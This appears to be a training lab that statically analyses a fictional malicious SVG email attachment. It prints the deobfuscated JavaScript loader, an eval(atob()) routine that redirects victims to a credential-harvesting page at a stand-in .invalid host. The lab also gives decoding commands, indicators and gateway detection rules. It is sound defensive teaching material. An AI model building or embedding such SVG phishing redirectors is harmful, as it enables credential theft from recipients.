The sample
| File | northsea-invoice.svg |
| SHA-256 | 015847e0727863515d6e2064f1860db69afee186b12b20ebed7a69416483ca8c |
| Size | 1,472 bytes, SVG 1.1 (XML) |
| Context | Attachment flagged by the mail gateway, sent to North Sea Digital |
Zip password: none. Do NOT open the SVG in a browser (it would run the script). Analyse it in a text editor, in an isolated VM.
1. Scenario
Malicious SVG attachments jumped 245% in early 2025: an SVG is treated as an image by most mail filters, yet the format can embed a full <script>. Opened in a browser, it runs JavaScript that silently redirects the victim to a credential-harvesting page.
You receive one such attachment. Your job is to analyse it statically, deobfuscate the payload, and extract the indicators, without ever executing it.
⚠️ Do not double-click. Opening the SVG in a browser executes the script. Open it in a text editor or use command-line tools, inside an isolated VM.
2. Objectives
- Confirm the file is an SVG that carries an embedded
<script>. - Deobfuscate the outer layer (
eval(atob(...))loader). - Decode the inner layer (two
atob()strings). - Recover the phishing redirect URL and the base64-embedded victim identifier.
- List the IOCs and the mail-gateway mitigations.
3. Step-by-step analysis
Triage and identification
file · grepAn SVG is XML. The red flag is an image that carries a <script>. Never open it in a browser; grep the raw text.
file northsea-invoice.svg grep -Eo '<script|eval|atob|location\.href' northsea-invoice.svg
northsea-invoice.svg: SVG Scalable Vector Graphics image <script eval atob atob location.href
🚩 An <script> plus eval(atob()) inside an image is the signature of SVG smuggling (MITRE T1027.017). Legitimate images never do this.
Deobfuscate the outer layer
base64 · CyberChefThe script hides its logic in a single base64 blob assigned to _p and run through eval(atob(_p)). Pull the blob and decode it.
grep -oE 'var _p = "[A-Za-z0-9+/=]+"' northsea-invoice.svg \ | sed -E 's/.*"(.*)"/\1/' | base64 -d ; echo
(function(){var u=atob('aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==');var t=atob('ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==');window.location.href=u+encodeURIComponent(t);})();🔬 Open the CyberChef recipe, From Base64💡 The decoded routine does not contain the URL in clear either: it rebuilds the destination from two more atob() calls. One more layer to go.
Decode the inner layer
base64The inner routine assembles the destination from two base64 strings: the redirect base and the victim identifier.
echo 'aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==' | base64 -d ; echo echo 'ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==' | base64 -d ; echo
https://secure-doc-view.example.invalid/verify?session= j.doe@northsea.example
🔑 The victim's email is base64-embedded in the file. Attackers do this to pre-fill the phishing form and to track exactly who clicked. A different victim gets a different SVG.
Assemble and conclude
synthesisPutting the layers together gives the final redirect the browser would have followed:
https://secure-doc-view.example.invalid/verify?session=j.doe%40northsea.example
✅ This is a credential-harvesting redirector. The URL points to a lookalike verification page; the appended victim email pre-fills and tracks the target. The destination here is a non-resolvable .invalid domain, so the sample is safe to study.
4. IOC summary
| Type | Value | Source |
|---|---|---|
| Technique | SVG smuggling, embedded <script> | MITRE T1027.017 |
| Obfuscation | eval(atob()) outer + atob() x2 inner | static analysis |
| Redirect host | secure-doc-view.example.invalid (defanged) | decoded layer 2 |
| Victim tracker | j.doe@northsea.example (base64-embedded) | decoded layer 2 |
| Delivery | email attachment (SVG bypasses image filters) | mail gateway |
5. Detection and mitigation
- Treat SVG attachments as active content, not images: block or sandbox them at the mail gateway, or convert them to PNG on delivery.
- Strip or deny inline
<script>in any user-supplied SVG; serve untrusted files withContent-Disposition: attachmentand a strict CSP. - Alert on emails whose only attachment is an
.svg, and on SVGs containing<script>,atoboreval. - User awareness: an image that asks you to verify or enable anything is a red flag.
6. References
The technique: obfuscated files that hide code inside SVG images.
How SVGs with embedded HTML/JS are used in phishing campaigns.
The 2025 surge in SVG attachments used to obfuscate phishing payloads.
From Base64, Magic and other recipes to peel obfuscation layers.
Entirely fictional environment, for educational use only. The redirect target is a non-resolvable .invalid domain.
A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.